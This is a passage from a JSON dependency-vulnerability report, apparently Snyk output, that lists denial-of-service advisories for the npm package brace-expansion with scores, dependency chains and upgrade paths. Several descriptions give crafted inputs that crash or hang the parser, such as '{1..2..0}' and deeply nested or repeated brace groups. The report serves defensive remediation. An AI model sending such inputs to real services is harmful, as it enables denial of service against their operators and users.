"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
